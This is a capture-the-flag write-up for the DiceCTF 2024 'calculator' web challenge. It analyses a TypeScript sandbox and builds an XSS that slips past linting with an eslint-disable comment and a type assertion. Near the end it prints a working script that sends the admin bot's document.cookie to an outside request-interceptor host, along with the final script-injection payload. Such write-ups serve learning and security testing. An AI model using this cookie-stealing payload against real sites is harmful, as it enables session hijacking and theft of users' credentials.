This is a writeup for the DiceCTF 2024 Calculator challenge.
Challenge notes
web/calculator BrownieInMotion 45 solves / 126 points
beep boop
calculator.mc.ax [link]
Admin Bot [link]
Downloads calculator.tar.gz [link]
URLs
- Frontend: https://calculator.mc.ax
- Admin: https://adminbot.mc.ax/web-calculator
Files
The calculator.tar.gz archive contains these files:
calculator
├── Dockerfile
├── adminbot_test.js
├── index.ts
├── jail
│ ├── index.ts
│ ├── project.ts
│ ├── queue.ts
│ └── sanitize.ts
├── package-lock.json
└── package.json
Libraries
Reviewing the npm package dependencies in package.json, here are some notable dependencies:
npm isolates
Here’s what isolated-vm does, from the npm page:
isolated-vm – Access to multiple isolates in nodejs
isolated-vm is a library for nodejs which gives you access to v8’s Isolate interface. This allows you to create JavaScript environments which are completely isolated from each other. This can be a powerful tool to run code in a fresh JavaScript environment completely free of extraneous capabilities provided by the nodejs runtime.
The calculator express server uses version 4.7.2 of isolated-vm.
isolated-vm provides these classes for using v8 the Isolate interface:
- The
Isolateclass gives you an interface to the v8 isolate class. Contextobjects live within anIsolateobjects.Scriptobjects run inside aContextobject.- A
Moduleobject is something that anIsolatecompiles from code. - A
Callbackobject create references to functions between isolates - A
Referenceobject points at a value inside an isolate. - Instances from the
ExternalCopyclass point at outside values that you can copy into anIsolate.
Initial analysis
The adminbot_test.js file shows how the admin bot visits pages with the flag cookie set:
export default {
name: "calculator admin bot",
timeout: 15_000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.setCookie({
name: "flag",
value: flag.trim(),
domain: "calculator.mc.ax",
});
await page.goto(url, { timeout: 5000, waitUntil: "domcontentloaded" });
await sleep(5000);
},
};
The goal is to make the admin bot visit the calculator page and steal the contents of this cookie.
Program flow
Here’s what the server index.ts does when you send it a request at /:
- The
/endpoint receives theqquery parameter. runQueryevaluatesq(more on that later).- The
/endpoint displays the results ofrunQueryasmessage. - The endpoint shows the
runQueryresults after sanitizing them inside theq<input>HTML field
const sanitize = (code: string): string => {
return code
.replaceAll(/</g, "<")
.replaceAll(/>/g, ">")
.replaceAll(/"/g, """);
};
The sanitizer replaces <>" with <>" respectively.
const runQuery = async (query: string): Promise<string> => {
if (query.length > 75) {
return "equation is too long";
}
try {
const result = await run(query, 1000, "number");
if (result.success === false) {
const errors: string[] = result.errors;
return sanitize(errors.join("\n"));
} else {
const value: number = result.value;
return `result: ${value.toString()}`;
}
} catch (error) {
return "unknown error";
}
};
Here’s what the runQuery function does:
- It cuts of the query if it’s longer than 75 characters.
- It passes query to an async function
runfrom the./jailpackage. runreturns a object containing.success, a boolean,.errors, a string array of errors, and.value, a number, if the calculation was successful- When an error occurs during
run, it setsresult.successto false and populatesresult.errors. Then, the result ofrunQuerycontains all the errors joined together by newlines and is then run through the same sanitizer used to sanitize theq<input>HTML field. - When no error occurs,
runQueryconvertsresult.valueinto a string and returns it with the formatresult: $VALUE
Jail package structure
The run function is inside the jail package. Here’s the structure of
the jail package:
index.tscontains therunfunction and also holds a reference to 16 isolates as a ResourceClusterqueue.tsprovides the ResourceCluster class. ResourceCluster has a queue with a spinlock. Exists independent of isolatessanitize.tscleans up any code fed intorunand then lints it witheslint, compiles it with ts and hands if off to be run. It’s independent from isolates.project.tscontains all the things needed to compile a TypeScript project. It’s independent from isolates.
Code sanitization in the jail
// jail/sanitize.ts
// […]
const parse = (text: string): Result<string> => {
const file = ts.createSourceFile("file.ts", text, ScriptTarget.Latest);
if (file.statements.length !== 1) {
return {
success: false,
errors: ["expected a single statement"],
};
}
const [statement] = file.statements;
if (!ts.isExpressionStatement(statement)) {
return {
success: false,
errors: ["expected an expression statement"],
};
}
return {
success: true,
output: ts
.createPrinter()
.printNode(EmitHint.Expression, statement.expression, file),
};
};
export const sanitize = async (
type: string,
input: string,
): Promise<Result<string>> => {
if (/[^ -~]|;/.test(input)) {
return {
success: false,
errors: ["only one expression is allowed"],
};
}
const expression = parse(input);
if (!expression.success) return expression;
const data = `((): ${type} => (${expression.output}))()`;
const project = new VirtualProject("file.ts", data);
const { errors, messages } = await project.lint();
if (errors > 0) {
return { success: false, errors: messages };
}
return project.compile();
};
The jail package makes sure that the input complies with the following requirements:
- The input contains a single statement in
parse(text). - The input contains an expression in
parse(text). - The input contains at most one expression in
sanitize(type, input) - The input contains only printable characters, except for a semicolon in
sanitize(type, input).
The sanitize(type, input) function then puts this input into the following template:
((): number =>${expression.output}))()
Code execution in the jail
// jail/index.ts
// […]
export const run = async <T extends keyof RunTypes>(
code: string,
timeout: number,
type: T,
): Promise<RunResult<T>> => {
const result = await sanitize(type, code);
if (result.success === false) return result;
return await queue.queue<RunResult<T>>(async (isolate) => {
const context = await isolate.createContext();
return Promise.race([
context.eval(result.output).then(
(output): RunResult<T> => ({
success: true,
value: output,
}),
),
new Promise<RunResult<T>>((resolve) => {
setTimeout(() => {
context.release();
resolve({
success: false,
errors: ["evaluation timed out!"],
});
}, timeout);
}),
]);
});
};
I now look at the run(code, timeout, type) function in jail/index.ts.
To sum it up, it’s a complicated way of performing a regular JavaScript eval().
Here are some more ideas:
- Can you tell one isolate to write a file with something, and have another isolate read it out?
- Note that only numbers can ever be returned, so you might have to extract a possible flag piece by piece.
To test if file access is possible at all, I run lstat /etc inside an isolate:
require("child_process");
To get back to the problem that you need to solve, here’s what should happen:
- You read out the cookie from document.cookie
- You do something with that cookie, like send it somewhere (using XSS)
We can inject a script on behalf of the admin bot through a query, yes. But,
the jail package sanitizes any script
when an error is returned, or it sanitizes it when it evaluates the script.
Here are the two possible information flows:
- For a valid query, the result has to be a number (
asassertion not allowed), andjail/sanitize.ts:sanitizethen sanitizes it. - For an invalid query, the result might contain a XSS payload, but
index.ts:sanitizethen sanitizes it.
You can smuggle in an XSS payload in two places, but both of these appear to be hardened.
<input type="text" name="q" value="${sanitize(query)}">
<input type="submit">
</form>
<p>${message}</p>
To mix things up, I try the following payload:
(() => true)() && 0;
Submitting this through the admin bot gives the response
[object Object]
This looks promising.
Yet, [object Object] comes from an error and isn’t
what we need to return an XSS payload.
Exploring the type smuggling vulnerability
Testing reveals that Object.defineProperty can bypass type restrictions and pollute the Object prototype:
[(Object.prototype.toString = () => "true")].length;
// -> 1
Setting global variables:
[Object.defineProperty(globalThis, "1", {})].length;
// -> 1
Here’s how you can override the return value of length to return a string:
Object.defineProperty(globalThis.Array, "length", { value: "asd" }).length;
// -> "asd"
This returns "asd" instead of a number, allowing string injection.
Developing the payload
The payload needs to work within the 75-character limit:
Object.defineProperty(Array, "length", { value: "<i>asd</i>" }).length;
// -> "<i>asd</i>"
This renders <i>asd</i> in the response. I then try refining this payload
to so that it can become a proper XSS payload.
Object.defineProperty(Array, "length", { value: "<script>1</script>" }).length;
// -> "<script>1</script>"
A prototype pollution based XSS payload with this code would become too long and break the 75 character limit. I decide to look at the linting step.
Final payload
The trick is to prevent ESLint from complaining about type assertions using the eslint-disable comment. This tells ESLint to not check the rest of the code.
I upload a script to my website so that you can download it from https://www.justus.pw/s.js. This lets me keep the payload length short.
I run a RequestBin type request interceptor on dicectf2024.free.beecepter.com.
Here’s the script:
var i = new Image();
i.src = "https://dicectf2024.free.beeceptor.com/?" + document.cookie;
Here’s the final payload:
/*eslint-disable*/<any>"<script src=//justus.pw/s.js></script>"